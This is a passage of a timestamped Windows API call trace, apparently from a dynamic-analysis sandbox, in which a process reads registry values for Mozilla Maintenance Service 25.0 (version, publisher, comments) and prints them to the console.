cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.159] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.159] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.159] lstrlenW (lpString="DisplayVersion") returned 14 [0149.159] __iob_func () returned 0x7fefd702a80 [0149.159] _fileno (_File=0x7fefd702ab0) returned 1 [0149.159] _errno () returned 0x204bb0 [0149.159] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.159] _errno () returned 0x204bb0 [0149.159] GetFileType (hFile=0x50) returned 0x1 [0149.159] lstrlenW (lpString="DisplayVersion") returned 14 [0149.159] GetConsoleOutputCP () returned 0x1b5 [0149.159] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0149.159] GetConsoleOutputCP () returned 0x1b5 [0149.159] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0149.159] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0149.159] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.159] __iob_func () returned 0x7fefd702a80 [0149.159] _fileno (_File=0x7fefd702ab0) returned 1 [0149.159] _errno () returned 0x204bb0 [0149.160] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.160] _errno () returned 0x204bb0 [0149.160] GetFileType (hFile=0x50) returned 0x1 [0149.160] lstrlenW (lpString=" ") returned 4 [0149.160] GetConsoleOutputCP () returned 0x1b5 [0149.160] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.160] GetConsoleOutputCP () returned 0x1b5 [0149.160] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.160] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.160] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.160] __iob_func () returned 0x7fefd702a80 [0149.160] _fileno (_File=0x7fefd702ab0) returned 1 [0149.160] _errno () returned 0x204bb0 [0149.160] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.160] _errno () returned 0x204bb0 [0149.160] GetFileType (hFile=0x50) returned 0x1 [0149.160] lstrlenW (lpString="REG_SZ") returned 6 [0149.160] GetConsoleOutputCP () returned 0x1b5 [0149.160] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.160] GetConsoleOutputCP () returned 0x1b5 [0149.160] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.160] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.160] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.161] __iob_func () returned 0x7fefd702a80 [0149.161] _fileno (_File=0x7fefd702ab0) returned 1 [0149.161] _errno () returned 0x204bb0 [0149.161] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.161] _errno () returned 0x204bb0 [0149.161] GetFileType (hFile=0x50) returned 0x1 [0149.161] lstrlenW (lpString=" ") returned 4 [0149.161] GetConsoleOutputCP () returned 0x1b5 [0149.161] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.161] GetConsoleOutputCP () returned 0x1b5 [0149.161] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.161] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.161] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.161] __iob_func () returned 0x7fefd702a80 [0149.161] _fileno (_File=0x7fefd702ab0) returned 1 [0149.161] _errno () returned 0x204bb0 [0149.161] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.161] _errno () returned 0x204bb0 [0149.161] GetFileType (hFile=0x50) returned 0x1 [0149.161] lstrlenW (lpString="25.0") returned 4 [0149.161] GetConsoleOutputCP () returned 0x1b5 [0149.161] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="25.0", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.162] GetConsoleOutputCP () returned 0x1b5 [0149.162] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="25.0", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="25.0", lpUsedDefaultChar=0x0) returned 4 [0149.162] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.162] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.162] __iob_func () returned 0x7fefd702a80 [0149.162] _fileno (_File=0x7fefd702ab0) returned 1 [0149.162] _errno () returned 0x204bb0 [0149.162] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.162] _errno () returned 0x204bb0 [0149.162] GetFileType (hFile=0x50) returned 0x1 [0149.162] lstrlenW (lpString="\n") returned 1 [0149.162] GetConsoleOutputCP () returned 0x1b5 [0149.162] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.162] GetConsoleOutputCP () returned 0x1b5 [0149.162] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.162] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.162] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.162] GetProcessHeap () returned 0x3c0000 [0149.162] GetProcessHeap () returned 0x3c0000 [0149.162] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0149.162] GetProcessHeap () returned 0x3c0000 [0149.162] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0xe [0149.162] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290 | out: hHeap=0x3c0000) returned 1 [0149.162] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.163] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x12) returned 0x0 [0149.163] GetProcessHeap () returned 0x3c0000 [0149.163] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x14) returned 0x3df290 [0149.163] GetProcessHeap () returned 0x3c0000 [0149.163] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0149.163] GetProcessHeap () returned 0x3c0000 [0149.163] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x14 [0149.163] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3df290, pcbData=0x29f780*=0x12 | out: pdwType=0x29f700*=0x1, pvData="Mozilla", pcbData=0x29f780*=0x10) returned 0x0 [0149.163] __iob_func () returned 0x7fefd702a80 [0149.163] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.163] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.163] _fileno (_File=0x7fefd702ab0) returned 1 [0149.163] _errno () returned 0x204bb0 [0149.163] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.163] _errno () returned 0x204bb0 [0149.163] GetFileType (hFile=0x50) returned 0x1 [0149.163] lstrlenW (lpString=" ") returned 4 [0149.163] GetConsoleOutputCP () returned 0x1b5 [0149.163] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.163] GetConsoleOutputCP () returned 0x1b5 [0149.163] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.163] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.163] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.163] lstrlenW (lpString="Publisher") returned 9 [0149.163] __iob_func () returned 0x7fefd702a80 [0149.163] _fileno (_File=0x7fefd702ab0) returned 1 [0149.163] _errno () returned 0x204bb0 [0149.163] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.163] _errno () returned 0x204bb0 [0149.163] GetFileType (hFile=0x50) returned 0x1 [0149.164] lstrlenW (lpString="Publisher") returned 9 [0149.164] GetConsoleOutputCP () returned 0x1b5 [0149.164] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.164] GetConsoleOutputCP () returned 0x1b5 [0149.164] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0149.164] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.164] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.164] __iob_func () returned 0x7fefd702a80 [0149.164] _fileno (_File=0x7fefd702ab0) returned 1 [0149.164] _errno () returned 0x204bb0 [0149.164] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.164] _errno () returned 0x204bb0 [0149.164] GetFileType (hFile=0x50) returned 0x1 [0149.164] lstrlenW (lpString=" ") returned 4 [0149.164] GetConsoleOutputCP () returned 0x1b5 [0149.164] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.164] GetConsoleOutputCP () returned 0x1b5 [0149.164] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.164] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.164] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.165] __iob_func () returned 0x7fefd702a80 [0149.165] _fileno (_File=0x7fefd702ab0) returned 1 [0149.165] _errno () returned 0x204bb0 [0149.165] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.165] _errno () returned 0x204bb0 [0149.165] GetFileType (hFile=0x50) returned 0x1 [0149.165] lstrlenW (lpString="REG_SZ") returned 6 [0149.165] GetConsoleOutputCP () returned 0x1b5 [0149.165] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.165] GetConsoleOutputCP () returned 0x1b5 [0149.165] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.165] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.165] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.165] __iob_func () returned 0x7fefd702a80 [0149.165] _fileno (_File=0x7fefd702ab0) returned 1 [0149.165] _errno () returned 0x204bb0 [0149.165] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.165] _errno () returned 0x204bb0 [0149.165] GetFileType (hFile=0x50) returned 0x1 [0149.165] lstrlenW (lpString=" ") returned 4 [0149.165] GetConsoleOutputCP () returned 0x1b5 [0149.165] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.165] GetConsoleOutputCP () returned 0x1b5 [0149.166] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.166] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.166] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.166] __iob_func () returned 0x7fefd702a80 [0149.166] _fileno (_File=0x7fefd702ab0) returned 1 [0149.166] _errno () returned 0x204bb0 [0149.166] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.166] _errno () returned 0x204bb0 [0149.166] GetFileType (hFile=0x50) returned 0x1 [0149.166] lstrlenW (lpString="Mozilla") returned 7 [0149.166] GetConsoleOutputCP () returned 0x1b5 [0149.166] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Mozilla", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0149.166] GetConsoleOutputCP () returned 0x1b5 [0149.166] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Mozilla", cchWideChar=7, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mozilla", lpUsedDefaultChar=0x0) returned 7 [0149.166] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0149.166] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.166] __iob_func () returned 0x7fefd702a80 [0149.166] _fileno (_File=0x7fefd702ab0) returned 1 [0149.166] _errno () returned 0x204bb0 [0149.166] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.166] _errno () returned 0x204bb0 [0149.166] GetFileType (hFile=0x50) returned 0x1 [0149.166] lstrlenW (lpString="\n") returned 1 [0149.166] GetConsoleOutputCP () returned 0x1b5 [0149.167] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.167] GetConsoleOutputCP () returned 0x1b5 [0149.167] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.167] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.167] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.167] GetProcessHeap () returned 0x3c0000 [0149.167] GetProcessHeap () returned 0x3c0000 [0149.167] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0149.167] GetProcessHeap () returned 0x3c0000 [0149.167] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x14 [0149.167] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290 | out: hHeap=0x3c0000) returned 1 [0149.167] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Comments", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.167] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x5c) returned 0x0 [0149.167] GetProcessHeap () returned 0x3c0000 [0149.167] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x5e) returned 0x3db830 [0149.167] GetProcessHeap () returned 0x3c0000 [0149.167] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.167] GetProcessHeap () returned 0x3c0000 [0149.167] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x5e [0149.167] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x5c | out: pdwType=0x29f700*=0x1, pvData="Mozilla Maintenance Service 25.0 (x86 en-US)", pcbData=0x29f780*=0x5a) returned 0x0 [0149.167] __iob_func () returned 0x7fefd702a80 [0149.167] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.167] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.167] _fileno (_File=0x7fefd702ab0) returned 1 [0149.167] _errno () returned 0x204bb0 [0149.167] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.167] _errno () returned 0x204bb0 [0149.167] GetFileType (hFile=0x50) returned 0x1 [0149.168] lstrlenW (lpString=" ") returned 4 [0149.168] GetConsoleOutputCP () returned 0x1b5 [0149.168] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.168] GetConsoleOutputCP () returned 0x1b5 [0149.168] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.168] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.168] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.168] lstrlenW (lpString="Comments") returned 8 [0149.168] __iob_func () returned 0x7fefd702a80 [0149.168] _fileno (_File=0x7fefd702ab0) returned 1 [0149.168] _errno () returned 0x204bb0 [0149.168] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.168] _errno () returned 0x204bb0 [0149.168] GetFileType (hFile=0x50) returned 0x1 [0149.168] lstrlenW (lpString="Comments") returned 8 [0149.168] GetConsoleOutputCP () returned 0x1b5 [0149.168] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.168] GetConsoleOutputCP () returned 0x1b5 [0149.168] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Comments", lpUsedDefaultChar=0x0) returned 8 [0149.168] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0149.168] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.169] __iob_func () returned 0x7fefd702a80 [0149.169] _fileno (_File=0x7fefd702ab0) returned 1 [0149.169] _errno () returned 0x204bb0 [0149.169] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.169] _errno () returned 0x204bb0 [0149.169] GetFileType (hFile=0x50) returned 0x1 [0149.169] lstrlenW (lpString=" ") returned 4 [0149.169] GetConsoleOutputCP () returned 0x1b5 [0149.169] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.169] GetConsoleOutputCP () returned 0x1b5 [0149.169] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.169] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.169] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.169] __iob_func () returned 0x7fefd702a80 [0149.169] _fileno (_File=0x7fefd702ab0) returned 1 [0149.169] _errno () returned 0x204bb0 [0149.169] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.169] _errno () returned 0x204bb0 [0149.169] GetFileType (hFile=0x50) returned 0x1 [0149.169] lstrlenW (lpString="REG_SZ") returned 6 [0149.169] GetConsoleOutputCP () returned 0x1b5 [0149.170] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.170] GetConsoleOutputCP () returned 0x1b5 [0149.170] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.170] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.170] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.170] __iob_func () returned 0x7fefd702a80 [0149.170] _fileno (_File=0x7fefd702ab0) returned 1 [0149.170] _errno () returned 0x204bb0 [0149.170] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.170] _errno () returned 0x204bb0 [0149.170] GetFileType (hFile=0x50) returned 0x1 [0149.170] lstrlenW (lpString=" ") returned 4 [0149.170] GetConsoleOutputCP () returned 0x1b5 [0149.170] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.170] GetConsoleOutputCP () returned 0x1b5 [0149.170] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.170] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.170] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.170] __iob_func () returned 0x7fefd702a80 [0149.170] _fileno (_File=0x7fefd702ab0) returned 1 [0149.170] _errno () returned 0x204bb0 [0149.170] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.170] _errno () returned 0x204bb0 [0149.170] GetFileType (hFile=0x50) returned 0x1 [0149.170] lstrlenW (lpString="Mozilla Maintenance Service 25.0 (x86 en-US)") returned 44 [0149.171] GetConsoleOutputCP () returned 0x1b5 [0149.171] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Mozilla Maintenance Service 25.0 (x86 en-US)", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0149.171] GetConsoleOutputCP () returned 0x1b5 [0149.171] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Mozilla Maintenance Service 25.0 (x86 en-US)", cchWideChar=44, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mozilla Maintenance Service 25.0 (x86 en-US)", lpUsedDefaultChar=0x0) returned 44 [0149.171] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 44 [0149.171] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.171] __iob_func () returned 0x7fefd702a80 [0149.171] _fileno (_File=0x7fefd702ab0) returned 1 [0149.171] _errno () returned 0x204bb0 [0149.171] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.171] _errno () returned 0x204bb0 [0149.171] GetFileType (hFile=0x50) returned 0x1 [0149.171] lstrlenW (lpString="\n") returned 1 [0149.171] GetConsoleOutputCP 